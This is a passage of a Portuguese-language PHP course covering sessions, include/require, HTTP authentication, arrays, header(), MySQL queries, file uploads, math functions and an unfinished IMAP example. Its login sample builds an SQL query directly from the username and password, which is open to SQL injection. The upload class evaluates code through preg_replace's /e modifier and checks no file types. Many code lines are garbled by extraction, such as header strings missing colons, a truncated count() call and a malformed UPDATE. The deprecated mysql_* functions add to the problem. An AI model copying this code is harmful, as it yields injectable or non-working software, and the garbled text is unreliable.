Sessions

Uma sessão (session) é um período de tempo durante o qual uma pessoa navega num

site.

Uma sessão é gravada no servidor, e o tempo de duração de uma sessão pode ser ate o

usuário fechar a página.

Quando o usuário entra no site criamos uma sessão e ela recebe um número identificador

único, chamado de session_id, para uma pagina ter o acesso aos dados da sessão ela

tem que ter esse número identificador.

Para criar uma sessão sempre se utiliza session_start() e antes de qualquer saída html.

Exemplo:

PHP

<?

session_start();

Page 24: Curso completo php

$_SESSION["teste"] = 1;

?>

Foi criado uma sessão com o nome se teste e valor 1

E nas paginas seguintes você pode restaurar esse valor assim:

PHP

<?

session_start();

echo $_SESSION["teste"];

?>

Você pode usar session_register() para registrar suas variáveis, no caso, o nome da

variável na sessão será a mesma do nome da variável gravado, exemplo:

PHP

$linguagem = "PHP";

session_register("linguagem");

Nesse caso foi gravada a variável $linguagem na variável de sessão “linguagem”, eis a

vantagem de se usar $_SESSION que é recomendado a partir da versão 4.1, já que você

poderá definir o nome da variável na sessão.

Obs.: session_register trabalha com register_globals on, e como está em extinção o uso

em on, é sempre recomendado então usar $_SESSION, aliás, as facilidades são muito

maiores, já que você trabalhará com elas como uma variável normal.

Onde posso usar sessões?

Na verdade, as sessões são geralmente usadas pra criar lojas virtuais e sistemas de login,

onde o usuário entrará com usuário e senha em um formulário. Buscará no banco de

dados (ou o que estiver usando com um) e se achar algum usuário gravará na sessão uma

identificação que dirá que ele já foi logado. Isso somente durará até o fechamento do

browser. Logo, grande parte dos websites ainda usam cookies por esse motivo. Até hoje, a

única maneira de você sair de um site, entrar mais tarde e tudo estar do jeito que você via

antes é usando os cookies.

Page 25: Curso completo php

Modulo 4 – Introdução part4

o require

o include

o require_once

o include_once

o Autenticação HTTP com PHP

o Arrays

o Header

require()

A instrução require() inclui a avalia um arquivo específico.

require() e include() são idênticos em todas as formas exceto pela manipulação de erros.

include() produz um Warning enquanto require() produzirá um Fatal Error. Em outras palavras,

não hesite em utilizar require() se na falta de um arquivo quiser parar o processamento da

página. include() não se comporta da mesma maneira, e o script poderá continuar nessa

situação. Em todo caso, vale a pena confirmar a configuração da diretiva include_path.

PHP

1. <?php

2. require 'prepend.php';

3. require $somefile;

4. require ('somefile.txt');

5. ?>

include()

A instrução include() inclui e avalia o arquivo informado.

A documentação a seguir se aplica também a require(). Esses dois construtores são idênticos a

exceção de como eles manipulam erros. include() produz um Warning enquanto require()

produzirá um Fatal Error. Em outras palavras, utilize require() se você deseja que um arquivo

faltando interrompa o processamento da página. include() não se comporta da mesma

maneira, permitindo que o script continue nessas situações. Em todo caso, vale a pena

confirmar a configuração da diretiva include_path. Esteja avisado que um erro de

interpretação no arquivo incluído não causa o cancelamento do processamento.

Arquivos a incluir são procurados primeiramente no include_path relativo ao diretório atual de

trabalho e depois no include_path relativo ao diretório atual do script. Por exemplo, se seu

incluide_path é ., o diretório atual é /www/, se você incluiu include/a.php e há um b.php nesse

Page 26: Curso completo php

arquivo, b.php será procurado primeiro em /www/ e somente depois em /www/include/.

Quando um arquivo é incluído, seu código entra no escopo de variável da linha onde a inclusão

ocorre. Qualquer variável disponível da linha onde a chamada da inclusão ocorre estará

disponível para o arquivo incluído, daquele ponto em diante.

vars.php

$cor = 'verde';

$fruta = 'maçã';

frutas.php

<?php

echo "Uma $fruta $cor"; // ira mostrar "Uma" e um notice que nao existe as variaveis $fruta e

$cor

include 'vars.php';//inclue a pagina

echo "Uma $fruta $cor"; // ira mostrar "Uma maçã verde"

?>

require_once()

A instrução require_once() incluí e avalia o arquivo especificado durante a execução do script.

Seu comportamento é similar ao da instrução require(), a não ser que o arquivo informado já

tenha sido incluído, não refazendo a operação novamente. Veja a documentação de require()

para maiores informações sobre como essa instrução funciona.

require_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendo

incluído mais de uma vez durante a execução de um script em particular, quando na verdade

ele só pode ser incluído apenas uma, para evitar problemas com redefinições de funções,

alterações nos valores de variáveis, etc.

<?php<br />require_once("a.php"); // isto irá incluir a.phprequire_once("A.php"); // isto irá

incluir a.php de novo no Windows!?>

include_once()

A instrução include_once() inclui e avalia o arquivo especificado durante a execução de um

script. Seu comportamento é similar a instrução include(), a não ser que o arquivo informado

já tenha sido incluído, não refazendo a operação novamente. Como o nome sugere, ele será

incluído apenas uma vez.

Page 27: Curso completo php

include_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendo

incluído mais de uma vez durante a execução de um script em particular, quando na verdade

ele só pode ser incluído apenas uma para evitar problemas com redefinições de funções,

alterações nos valores de variáveis, etc.

Para maiores informações utilizando require_once() e include_once(), veja o código do PEAR

incluído nas últimas distribuições do código fonte do PHP.

<?php<br />include_once("a.php");<br /> // isto irá incluir a.phpinclude_once("A.php"); // isto

irá incluir a.php de novo no Windows!?>

Autenticação HTTP com PHP

Autenticação via HTTP no PHP só é disponível quando o mesmo for executador como módulo

do Apache e, portanto, não é disponível na versão CGI. Em um script PHP no módulo Apache, é

possível usar a função header() para enviar uma janela de entrada "Authentication Required".

Uma vez que o usuário preencheu seu nome de usuário e senha, a URL contendo o script PHP

será chamada de novo com as variáveis predefinidas PHP_AUTH_USER, PHP_AUTH_PW, e

AUTH_TYPE contendo o nome de usuário, senha e tipo de autenticação, respectivamente.

Essas variáveis predefinidas são achadas nos arrays $_SERVER e $HTTP_SERVER_VARS.

Somente autenticação "Basic" (Básica) é suportada.

um exemplo simples :

<?

session_start();

function Autenticar()

{

header('WWW-Authenticate: Basic realm = "Area Restrita"');

header('HTTP/1.0 401 Unauthorized');

echo "<center><h1>Acesso Restrito</h1></center>";

exit;

}

function Confere_Login($nome, $senha)

{

mysql_connect("localhost", "usuario", "senha");

mysql_select_db("online");

$re = mysql_query("select count(*) as total from usuarios where nome = '$nome' and senha

= md5('$senha')");

mysql_close();

return mysql_result($re, 0, "total");

}

if ( !isset($_SERVER["PHP_AUTH_USER"]) and !isset($_SERVER["PHP_AUTH_PW"]) )

Page 28: Curso completo php

{

Autenticar();

}

else

{

$total = Confere_Login($_SERVER["PHP_AUTH_USER"], $_SERVER["PHP_AUTH_PW"]);

if ( $total == 0 )

{

Autenticar();

}

}

?>

Arrays

Um array no PHP é atualmente um mapa ordenado. Um mapa é um tipo que relaciona valores

para chaves. Este tipo é otimizado de várias maneiras, então você pode usá-lo como um array

real, ou uma lista (vetor), hashtable (que é uma implementação de mapa), dicionário, coleção,

pilha, fila e provavelmente mais. Como você pode ter outro array PHP como um valor, você

pode facilmente simular árvores.

A explicação dessas estruturas estão além do escopo desse manual, mas você pode encontrar

exemplos para cada uma dessas estruturas a seguir. Para mais informações sobre estruturas,

refira-se a literatura externa sobre esses tópicos.

Sintaxe

Especificando com array()

Um array pode ser criado com o construtor de linguagem array(). Ele pega um certo número

de pares separados por vírgula chave => valor .

array( [chave =>] valor

, ...

)

// chave pode ser tanto string ou um integer

// valor pode ser qualquer coisa

PHP

1. <?php

2. $arr = array("foo" => "bar", 12 => true);

3. echo $arr["foo"];

4. echo $arr[12];

Page 29: Curso completo php

5. ?>

A chave pode ser tanto um integer ou uma string. Se a chave é uma representação padrão de

um integer, ele será interpretado assim (por exemplo, "8" será interpretado como 8, enquanto

"08" será interpretado como "08"). Não há diferença entre arrais indexados e associativos em

PHP, apenas um tipo de array, que pode ter índices inteiros ou string.

O valor pode ser qualquer tipo PHP:

PHP

1. <?php

2. $arr = array("somearray" => array(6 => 5, 13 => 9, "a" => 42));

3.

4. echo $arr["somearray"][6];

5. echo $arr["somearray"][13];

6. echo $arr["somearray"]["a"];

7. ?>

Se omitir a chave quando fornece um novo item, o maior índice inteiro é obtido, e a nova

chave será esse máximo + 1. Se você especificar uma chave que já possui um valor assimilada a

ela, então o valor é sobrescrito.

PHP

1. <?php

2. array(5 => 43, 32, 56, "b" => 12);

3.

4. array(5 => 43, 6 => 32, 7 => 56, "b" => 12);

5. ?>

Indice de algumas funções do array:

array_change_key_case -- Retorna um array com todas as chaves string em maiúsculo ou

minúsculo

array_chunk -- Divide um array em pedaços

array_count_values -- Conta as frequências de cada valor de um array

Page 30: Curso completo php

array_diff -- Analisa as diferenças entre arrays

array_fill -- Preenche um array com valores

array_filter -- Filtra os elementos de um array utilizando uma função

array_flip -- Inverte as relações entre chaves e valores

array_intersect -- Calcula a interseção entre arrays

array_key_exists -- Checa se uma chave ou índice existe em um array

array_keys -- Retorna todas as chaves de um array

array_map -- Aplica uma função em todos os elementos dos arrays dados

array_merge_recursive -- Funde dois ou mais arrays recursivamente

array_merge -- Funde dois ou mais arrays

array_multisort -- Ordena múltiplos arrays ou arrays multi-dimensionais

array_pad -- Expande um array para um certo comprimento utilizando um determinado valor

array_pop -- Retira um elemento do final do array

array_push -- Adiciona um ou mais elementos no final de um array

array_rand -- Retorna um ou mais elementos aleatórios de um array

array_reduce -- Reduz um array para um único valor através de um processo iterativo

utilizando uma função.

array_reverse -- Retorna um array com os elementos na ordem inversa

array_search -- Procura por um valor em um array e retorna sua chave correspondente caso

seja encontrado

array_shift -- Retira o primeiro elemento de um array

array_slice -- Extrai uma parcela de um array

array_splice -- Remove uma parcela do array e substitui com outros elementos

array_sum -- Calcula a soma dos elementos de um array

array_unique -- Remove o valores duplicados de um array

array_unshift -- Adiciona um ou mais elementos no início de um array

array_values -- Retorna todos os valores de um array

array_walk -- Aplica uma determinada funcão em cada elemento de um array

array -- Cria um array

arsort -- Ordena um array em ordem descrescente mantendo a associação entre índices e

valores

asort -- Ordena um array mantendo a associação entre índices e valores

compact -- Cria um array contendo variáveis e seus valores

count -- Conta o número de elementos de uma variável

current -- Retorna o elemento corrente em um array

each -- Retorna o par chave/valor corrente de um array e avança o seu cursor

end -- Faz o ponteiro interno de um array apontar para o seu último elemento

extract -- Importa variáveis para a tabela de símbolos a partir de um array

in_array -- Checa se um valor existe em um array

key -- Retorna uma chave de um array associativo

krsort -- Ordena um array pelas chaves em ordem descrescente

ksort -- Ordena um array pelas chaves

list -- Cria variáveis como se fossem arrays

natcasesort -- Ordena um array utilizando o algoritmo da "ordem natural" sem diferenciar

maiúsculas e minúsculas

Page 31: Curso completo php

natsort -- Ordena um array utilizando o algoritmo da "ordem natural"

next -- Avança o ponteiro interno de um array

pos -- Retorna o elemento atual do array

prev -- Retrocede o ponteiro interno de um array

range -- Cria um array contendo uma faixa de elementos

reset -- Faz o ponteiro interno de um array apontar para o seu primeiro elemento

rsort -- Ordena um array em ordem descrescente

shuffle -- Mistura os elementos de um array

sizeof -- Apelido de count()

sort -- Ordena um array

uasort -- Ordena um array utilizando uma função de comparação definida pelo usuário e

mantendo as associações entre chaves e valores

uksort -- Ordena um array pelas chaves utilizando uma função de comparação definida pelo

usuário.

usort -- Ordena um array pelos valores utilizando uma função de comparação definida pelo

usuário

Header

header -- Envia um cabeçalho HTTP diretamente

header() é usado para enviar diretamete cabeçalhos HTTP headers.

O parâmetro opcional replace indica quando um cabeçalho deverá substituir um cabeçalho

similar anterior, ou adicionar um segundo cabeçalho do mesmo tipo. Por padrão irá substituir,

mas se você passar FALSE como segundo argumento você poderá forçar multiplos cabeçalhos

do mesmo tipo. Por exemplo:

PHP

1. <?php

2. header('WWW-AuthenticateNegotiate');

3. header('WWW-AuthenticateNTLM', false);

4. ?>

O segundo caso especial é o cabeçalho "Location:". Não somente envia o seu cabeçalho para o

browser, mas também retorna código de situação REDIRECT (302) para o browser a menos que

algum código de situação 3xx já tenha sido definido.

PHP

1. <?php

2. header("Location//www.imasters.com.br"); ?>

Page 32: Curso completo php

Scripts PHP normalmente geram conteúdo dinamico que não deva ser guardado em cache

pelo browser do cliente ou qualquer cache de proxy entre o servidor e o browser do cliente.

Muitos proxies e clientes são forçados a desabilitar o cache usando:

PHP

1. <?php

2. header("ExpiresMon, 26 Jul 1997 05:00:00 GMT");

3. header("Last-Modified" . gmdate("D, d M Y H:i:s") . " GMT");

4. header("Cache-Controlno-store, no-cache, must-revalidate");

5. header("Cache-Controlpost-check=0, pre-check=0", false);

6. header("Pragmano-cache");

7. ?>

Você pode pensar que suas páginas não são colocadas em cache mesmo que você não envie

todos os cabeçalhos acima. Existem várias opções que os usuários podem definir em seus

browser que mudam o funcionamento do cache. Enviando os cabeçalhos acima, você irá

sobrescrever qualquer definição que faça seu script ser colocado em cache.

Adicionalmente as configurações, session_cache_limiter() e session.cache_limiter podem ser

usadas para gerar automaticamente os cabeçalhos corretos quando estão sendo usadas

sessões.

Lembre-se que header() deve ser utilizada antes que qualquer saida seja enviada, seja pelo

HTML, linhas ou espaços em branco em um arquivo, ou a partit do PHP. É um erro muito

comum ler código com a função include(), ou require(), ou outra função que acesse arquivos, e

ter espaços ou linhas em branco antes da função header(). O mesmo problema existe quando

usar um arquivo PHP/HTML.

PHP

1. <html>

2. <?php

3. header('Location//www.example.com/');

4. ?>

Nota: A partir do PHP 4, você pode usar o buffer de saída para contornar este problema, com a

Page 33: Curso completo php

sobrecarga que toda a saída do browser será guardada em buffer no servidor até que

voc^envie ele. Você poderá fazer isso usando ob_start() e ob_end_flush() no seu script ou

definido a diretiva de configuração output_buffering no seu php.ini ou nos arquivos de

configuração do servidor.

Se você queira que seja perguntado ao usuário para salvar os dados que você esta enviando,

como um arquivo PDF gerado, você pode usar o cabeçalho Content-Disposition para

recomendar um nome de arquivo e forçar o browser a mostrar uma caixa salvar arquivo.

PHP

1. <?php

2. // Nós estaremos enviando um PDF

3. header('Content-typeapplication/pdf');

4. // Será chamado downloaded.pdf

5. header('Content-Dispositionattachment; filename="downloaded.pdf"');

6. // A fonte do PDF é original.

7. readfile('original.pdf');

8. ?>

Page 34: Curso completo php

Modulo 5

Interagindo com banco de dados (Mysql)

Introdução

o Breve Historia Mysql

o mysql_connect

o mysql_select_db

o mysql_query

o mysql_close

o mysql_fetch_array

o mysql_fetch_row

o mysql_fetch_object

o mysql_result

o mysql_error

o mysql_insert_id

o Comando basicos SQL

o [brinde] Sistema de cadastro para Livraria

Breve Historia Mysql

A derivação do nome MySQL foi criado apartir do prefixo "my" porque o pessoal do

desenvolvimento do mysql usava esse prefixo nos seus diretorios e inumeras bibliotecas e

ferramentas que eles usavam.

A filha de Monty Widenius ( criador do banco mysql ) também ganhou o nome My

O golfinho do MySQL (logo marca do mysql) é Sakila. Sakila foi escolhido pelos fundadores da

MySQL AB de uma enorme lista de

nomes sugeridos pelos usuários em um concurso "Name the Dolphin". O nome vencedor foi

enviado por Ambrose Twebaze, um desenvolvedor

de programas open source de Swaziland, Africa. De acordo com Ambrose, o nome Sakila tem

as suas raízes em SiSwati, a língua local de

Swaziland. Sakila é também o nome de uma cidade em Arusha, Tanzania, próxima ao país de

orígem de Ambrose, Uganda.

mysql_connect

mysql_connect -- Abre uma conexao com o Mysql

mysql_connect("servidor", "usuario", "senha");

por padrao o mysql vem com usuario root e sem senha entao para conectar a primeira vez

Page 35: Curso completo php

você pode fazer assim:

mysql_connect("localhost");

mysql_select_db

mysql_select_db -- Seleciona um banco de dados MySQL

mysql_select_db('nome_do_banco');

mysql_query

mysql_query -- Realiza uma query MySQL

exemplo:

mysql_query("select * from tabela");

mysql_close

mysql_close -- Fecha a conexão com o MySQL

exemplo:

$link = mysql_connect('localhost', 'usuario', 'senha');

mysql_close($link);

mysql_fetch_array

mysql_fetch_array -- Busca o resultado de uma linha e o coloca como uma matriz associativa,

matriz numérica ou ambas.

exemplo:

mysql_connect("localhost", "usuario", "senha");

mysql_select_db("banco");

$re = mysql_query("SELECT * FROM tabela");

while ($l = mysql_fetch_array($re)) {

echo $l["campo"]."<br>";

}

mysql_fetch_row

mysql_fetch_row -- Retorna o resultado de uma linha numa matriz numérica

Page 36: Curso completo php

mysql_connect("localhost", "usuario", "senha");

mysql_select_db("banco");

$re = mysql_query("SELECT * FROM tabela");

while ($l = mysql_fetch_row($re)) {

echo $l[0]."<br>";

}

mysql_fetch_object

mysql_fetch_object -- Retorna o resultado de uma linha como um objeto

mysql_connect("localhost", "usuario", "senha");

mysql_select_db("banco");

$re = mysql_query("select * from tabela");

while ($l = mysql_fetch_object($re)) {

echo $l->campo."<br>";

}

mysql_result

mysql_result -- Retorna dados do resultado

mysql_connect("localhost", "usuario", "senha");

mysql_select_db("banco");

$re = mysql_query("select count(*) as total from tabela");

$total = mysql_result($re, 0, "total");

mysql_error

mysql_error -- Retorna o texto da mensagem de erro da operação anterior do MySQL

$link = mysql_connect("localhost", "usuario", "senha");

if (!$link) {

die('Erro: ' . mysql_error());

}

echo 'Conexao ok';

mysql_close($link);

Page 37: Curso completo php

mysql_insert_id

mysql_insert_id -- Retorna o ID gerado da operação INSERT anterior

Comando basicos SQL

Mostrarei nesse tutorial uns comando basicos de sql como editar salvar fazer uma busca e

explicar o basico dos nomes dos comando sql

SELECT - Seleciona dados da tabela

SELECT [nome do campo | *] FROM [tabela] WHERE [campo] = [valor] ORDER BY [campo] [ASC

| DESC]

- SELECT = seleciona

- FROM = da/de/do

- WHERE = aonde

- ORDER BY = organizar por

- GROUP BY = função de agrupamento

- | = ou

- ASC = Ascendente

- DESC = Descendente

WHERE condicao for verdadeira

codicoes

- campo = valor

- campo > valor

- campo < valor

- campo >= valor

- campo <= valor

- campo like "%texto%" // % = qualquer caracter, _ = um unico caracter

- campo BETWEEN valor_minimo AND valor_maximo // BETWEEN = ENTRE UM E OUTRO

select * from usuarios where nome like "a%" and idade > 15;

+----+-------+-------+------+---------------------+

| id | nome | idade | sexo | data_cadastro |

+----+-------+-------+------+---------------------+

| 9 | andre | 20 | M | 2004-02-25 19:04:56 |

+----+-------+-------+------+---------------------+

Page 38: Curso completo php

mysql> select * from usuarios where idade < 30 order by nome desc;

+----+--------+-------+------+---------------------+

| id | nome | idade | sexo | data_cadastro |

+----+--------+-------+------+---------------------+

| 10 | Fabyo | 27 | M | 2004-03-27 19:10:35 |

| 1 | natan | 20 | M | 2004-03-27 18:07:25 |

| 8 | carlos | 20 | M | 2004-03-27 18:12:01 |

| 4 | carla | 20 | F | 2004-03-27 18:19:23 |

| 9 | andre | 20 | M | 2004-03-27 19:04:56 |

+----+--------+-------+------+---------------------+

mysql> select nome, idade, sexo from usuarios where idade between 20 and 30;

+--------+-------+------+

| nome | idade | sexo |

+--------+-------+------+

| natan | 20 | M |

| carlos | 20 | M |

| carla | 20 | F |

| raul | 30 | M |

| andre | 20 | M |

+--------+-------+------+

INSERT - Insere dados na tabela

INSERT INTO tabela (campo1, campo2, campo3, ...) VALUES (valor1, valor2, valor3, ...)

Quando não for passado o nome dos campos entre parenteses após a tabela, o servidor

entenderá que você

quer inserir todos os campos na ordem que estão da tabela.

INSERT INTO tabela VALUES (valor1, valor2, valor3, valor4, ...)

- INSERT = inserir

- INTO = dentro de

- VALUES = valores

insert into usuarios (nome, idade, sexo, data_cadastro)

values ("Fabyo", 27, "M", "1999-12-31 12:00:00");

insert into usuarios values ("", "Fabyo", 27, "M", NOW());

Page 39: Curso completo php

UPDATE - Atualiza valores na tabela

UPDATE tabela SET campo1 = valor1, campo2 = valor2, campo3 = valor3 WHERE campo = valor

- UPDATE = Atualiza

- SET = Defina

- WHERE = Aonde

update usuarios, set nome = "Carlos", idade = 18 where id = 7;

DELETE - Apaga registro da tabela

DELETE FROM tabela WHERE campo = valor

- DELETE - Apaga

- FROM - de/do/da

- WHERE - Aonde

delete from usuarios where id = 7;

[brinde] Sistema de cadastro para Livraria

Esse Modulo nao tera exercicios ,mas terá de brinde um sistema (simples) de Cadastro de

livros para livraria

com esse sistema você conseguira entender melhor como funciona o php junto com mysql e

como fazer um sistema

de cadastro completo e relacionando as tabelas de um modo simples

só explicando quando você ver na tabela escrito fk representa (foreign key) ou chave

estrangeira

que é o id de uma tabela sendo representado em outra tabela fazendo um relacionamento.

Dica:

use strip_tags serve pra tirar tags html evitando que pessoas cadastre tags html no seu banco

não abordei a fundo o Mysql, porque estamos pra lançar um curso online de Mysql

obrigado a todos e bons estudos.

Page 40: Curso completo php

Modulo 6

Introdução

o Upload de Arquivos

o Conexão com banco de dados acess

o Funções matemáticas

o Imap

Upload de Arquivos

Upload de arquivos com o método POST O PHP é capaz de receber o upload de qualquer

browser que siga a norma RFC-1867 (o que inclui Netscape Navigator 3 ou posterior, Microsoft

Internet Explorer 3 com um patch da Microsoft, ou posterior sem patch). Isto permite que se

faça o upload de arquivos de texto e binários. Com as funções de autenticação e manipulação

de arquivos do PHP, você tem o controle completo de quem pode fazer o upload de

arquivo e o que fazer com o arquivo após seu upload.

Tenha certeza que seu formulário de upload de arquivo tenha enctype="multipart/form-

data" em outro caso o upload do arquivo não irá funcionar.

$_FILES['arquivo']['name']

O nome original do arquivo no computador do usuário.

$_FILES['arquivo']['type']

O tipo mime do arquivo, se o browser deu esta informação. Um exemplo pode ser

"image/gif".

$_FILES['arquivo']['size']

O tamanho, em bytes, do arquivo.

$_FILES['arquivo']['tmp_name']

O nome temporário do arquivo, como foi guardado no servidor.

$_FILES['arquivo']['error']

is_uploaded_file

is_uploaded_file -- Diz se o arquivo foi enviado via HTTP POST

bool is_uploaded_file ( string filename)

Retorna TRUE se o arquivo com o nome filename foi uploaded via HTTP POST. Isto é útil para

ter certeza que um usuário malicioso, não está tentando

confundir o script em trabalhar em arquivos que não deve estar trabalhando --- por exemplo,

Page 41: Curso completo php

/etc/passwd.

Este tipo de confirmação é importante principalmente se existe alguma chance que qualquer

coisa feita com os arquivos carregados poderiam revelar

o seu conteúdo para o usuário, ou mesmo para outros usuários no mesmo sistema.

is_uploaded_file() está disponível somente em versões do PHP 3 depois da 3.0.16 e em versões

do PHP 4 posteriores a 4.0.2. Se você ainda está utilizando

uma versão anterior, você pode utilizar o seguinte código para se proteger:

Nota: O exemplo seguinte não funcionará em versões do PHP posteriores a 4.0.2. Isto depende

de uma funcionalidade interna do PHP que mudou depois dessa versão.

PHP

1. <?php

2. /* Teste de arquivo carregado pelo usuário */

3. function is_uploaded_file($filename) {

4. if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {

5. $tmp_file = dirname(tempnam('', ''));

6. }

7. $tmp_file .= '/' . basename($filename);

8. /* Pode haver uma barra no final do php.ini... */

9. return (ereg_replace('/+', '/', $tmp_file) == $filename);

10. }

11.

12. /* Utilize isto se por acaso você não tiver

13. * move_uploaded_file() em versões antigas: */

14. if (is_uploaded_file($HTTP_POST_FILES['arquivo'])) {

15. [b]copy[/b]($HTTP_POST_FILES['arquivo'], "/place/to/put/uploaded/file");

16. } else {

17. echo "Possível ataque de carregamento de arquivo:

filename '$HTTP_POST_FILES[arquivo]'.";

18. }

Page 42: Curso completo php

19. ?>

move_uploaded_file

(PHP 4 >= 4.0.3, PHP 5)

move_uploaded_file -- Move um arquivo carregado para uma nova localização

Descrição

bool move_uploaded_file ( string nomedoarquivo, string destino)

Esta função primeiro checa o arquivo informado nomedoarquivo é um arquivo válido

uploadeado (significando que ele foi carregado pelo mecanismo do

PHP de HTTP POST). Se o arquivo é válido, ele será movido para o nomedoarquivo dado pelo

destino.

Se nomedoarquivo não é um arquivo carregado válido, então não haverá nenhuma ação e

move_uploaded_file() irá retornar FALSE.

Se nomedoarquivo é um arquivo uploadeado válido e não pode ser movido por alguma razão,

nenhuma ação irá ocorrer, e move_uploaded_file() irá retornar FALSE.

Adicionalmente, um aviso será emitido.

Este tipo de confirmação é importante principalmente se existe alguma chance que qualquer

coisa feita com os arquivos carregados poderem revelar o seu

conteúdo para o usuário, ou mesmo para outros usuários no mesmo sistema.

Nota: Quando o safe-mode está ativo, o PHP verifica se o(s) arquivo(s) e/ou diretório(s) que

serão afetados por esta operação tem o mesmo UID (proprietário) do

script que está sendo executado.

Nota: move_uploaded_file() não é afetado pelas restrições de UIN normais do safe mode. Isto

não é inseguro porque move_uploaded_file() somente opera sobre arquivos

carregados pelo PHP.

Atenção

Se o arquivo destino já existir, então ele será sobrescrito.

Veja também is_uploaded_file() e a seção Manipulando o upload de arquivos para um

exemplo de utilização desta função.

Explicação das mensagens de erro

Page 43: Curso completo php

Desde o PHP 4.2.0, PHP retorna um código de erro apropriado na array do arquivo. O código

de erro pode ser encontrado em ['error'] na array que é criada durante o

upload do arquivo. Em outras palavras, o erro deve ser encontrado em

$_FILES['arquivo']['error'].

Tratamentos de Erros

UPLOAD_ERR_OK

Valor: 0; não houve erro, o upload foi bem sucedido.

UPLOAD_ERR_INI_SIZE

Valor 1; O arquivo no upload é maior do que o limite definido em upload_max_filesize no

php.ini.

UPLOAD_ERR_FORM_SIZE

Valor: 2; O arquivo ultrapassa o limite de tamanho em MAX_FILE_SIZE que foi especificado no

formulário HTML.

UPLOAD_ERR_PARTIAL

Valor: 3; o upload do arquivo foi feito parcialmente.

UPLOAD_ERR_NO_FILE

Valor: 4; Não foi feito o upload do arquivo.

Nota: Estas tornaram-se constantes no PHP 4.3.0

Variáveis de upload de arquivos HTTP: $_FILES

Nota: Introduzida na versão 4.1.0. Em versões anteriores, use $HTTP_POST_FILES.

Contém um array associativo dos itens carregador no script atual através do método HTTP

POST.

Esta é uma variável 'superglobal', ou automaticamente global. Isto significa que ela é

disponível em todos os escopos (níveis) de um script. Você não precisa fazer

um global $_FILES; para pode acessá-la dentro de funções ou métodos, como era necessário

com $HTTP_FILES_VARS.

Exemplo de um upload:

<html>

<head>

<title>Upload</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<body>

<form action="upload.php" method="post" enctype="multipart/form-data" name="form1">

<input type="file" name="arquivo">

<input type="submit" name="Submit" value="Enviar">

</form>

Page 44: Curso completo php

</body>

</html>

upload.php

<?

//Fabyo Guimaraes

class Upload

{

var $arquivo = "";

//array com os codigos dos erros de upload

var $erro = array ( "0" => "upload execultado com sucesso!",

"1" => "O arquivo é maior que o permitido pelo Servidor",

"2" => "O arquivo é maior que o permitido pelo formulario",

"3" => "O upload do arquivo foi feito parcialmente",

"4" => "Não foi feito o upload do arquivo"

);

//função que verifica se o arquivo foi enviado, e se obteve sucesso returna true e cria a

variavel para ser manipulado

function Verifica_Arquivo()

{

$this->arquivo = isset($_FILES['arquivo']) ? $_FILES['arquivo'] : FALSE;

return is_uploaded_file($this->arquivo['tmp_name']) ? true : false;

}

//função que envia o arquivo para o servidor se nao existir a pasta no servidor ele cria obs:

linux usar chmod

function Envia_Arquivo()

{

// se o arquivo foi enviado corretamente ele envia

if($this->Verifica_Arquivo() == true)

{ set_time_limit(0);

$diretorio = "pasta/";

if(!file_exists($diretorio))

{

mkdir($diretorio);

}

//se ja existir ele renomeia o arquivo novo para nao sobrescrever o existente

while ( file_exists ( $diretorio.$this->arquivo['name'] ))

{

$this->arquivo['name'] = preg_replace ( "/^(.+?)(_?)(\d*)(\.[^.]+)?$/e", "'\$1_'.(\$3+1).'\$4'",

$this->arquivo['name']);

}

move_uploaded_file($this->arquivo['tmp_name'], $diretorio . $this->arquivo['name']);

Page 45: Curso completo php

echo "<span style=\"color: white; border: solid 1px; background: blue;\">".$this->erro[$this-

>arquivo['error']]."</span>";

}

se o arquivo nao foi enviado ou tenha dado algum erro ele mostra a mensagem de erro

elseif( isset($this->arquivo['tmp_name']) )

{

echo "<span style=\"color: white; border: solid 1px; background: red;\">".$this->erro[$this-

>arquivo['error']]."</span>";

}

}

}

?>

Notem que essa classe cuida para obter sucesso no envio do arquivo ,mas ela não esta

tratando do tipo(type) de arquivo

caso você queria enviar imagens para o servidor você pode limitar tamanho, dimensao da

imagem e tipo de extensao

e se for arquivo você pode limitar a extensão só para o tipo que você quiser, caso tenha

duvidas em como tratar o tipo de arquivo só postar no forum.

Funções matemáticas

abs

Retorna o valor Valor absoluto de um número.

Se o argumento número é do tipo float, o número retornado também é float

Exemplo:

<?php

$abs = abs(-4.2); // $abs = 4.2; (double/float)

$abs2 = abs(5); // $abs2 = 5; (inteiro)

$abs3 = abs(-5); // $abs3 = 5; (inteiro)

?>

floor -- Arredonda frações para baixo

<?php

echo floor(4.3); // 4

echo floor(9.999); // 9

?>

round -- Arredonda um número

Page 46: Curso completo php

<?php

echo round(3.4); // 3

echo round(3.5); // 4

echo round(3.6); // 4

echo round(3.6, 0); // 4

echo round(1.95583, 2); // 1.96

echo round(1241757, -3); // 1242000

echo round(5.045, 2); // 5.04

echo round(5.055, 2); // 5.06

?>

number_format -- Formata um número com os milhares agrupados

echo number_format( "1000.000", 2, ",", ".");

esse exemplo acima ira retornar 1.000,00

max -- Localiza o maior número

<?

echo max(1, 3, 5, 6, 7); // 7

echo max(array(2, 4, 5)); // 5

?>

min -- Localiza o menor número

<?

echo min(2, 3, 1, 6, 7); // 1

echo min(array(2, 4, 5)); // 2

?>

count -- Conta o número de elementos de uma variável

<?php

$a[0] = 1;

$a[1] = 3;

$a[2] = 5;

$result = count($a);

// $result == 3

$b[0] = 7;

$b[5] = 9;

Page 47: Curso completo php

$b[10] = 11;

$result = count($ ;

// $result == 3;

?>

sqrt -- Raiz quadrada

<?

echo sqrt(9); // 3

echo sqrt(10); // 3.16227766 ...

?>

rand -- Gera um número aleatório

PHP

1. <?

2. echo rand(0,9);

3. ?>

Mais detalhes : www.php.net/ref.math.php

Imap

O que é IMAP?

O protocolo IMAP foi originalmente desenvolvido na Universidade de Stanford em 1986.

Trata-se de um método de acesso a mensagens eletrônicas armazenadas em um servidor local

ou remoto.

IMAP quer dizer Internet Message Access Protocol [RFC 2060] e sua versão mais recente e' a

IMAP4rev1 [RFC 2060]

descomente a linha do php.ini extension=php_imap.dll

obs: nesse exemplo nao tem suporte a MIME

Nesse exemplo ele faz:

tratamento de erros

ve quantos emails você tem

pega o assunto,remetente,data/hora e a mensagem

Page 48: Curso completo php

<?php

/* Fabyo Guimaraes

$servidor = "seu_servidor";

$usuario = "usuario";

$senha = "senha";

@ini_set('display_errors', '0');

$mbox = imap_open("{pop3.$servidor/pop3:110}", $usuario . "@" . $servidor, $senha ,

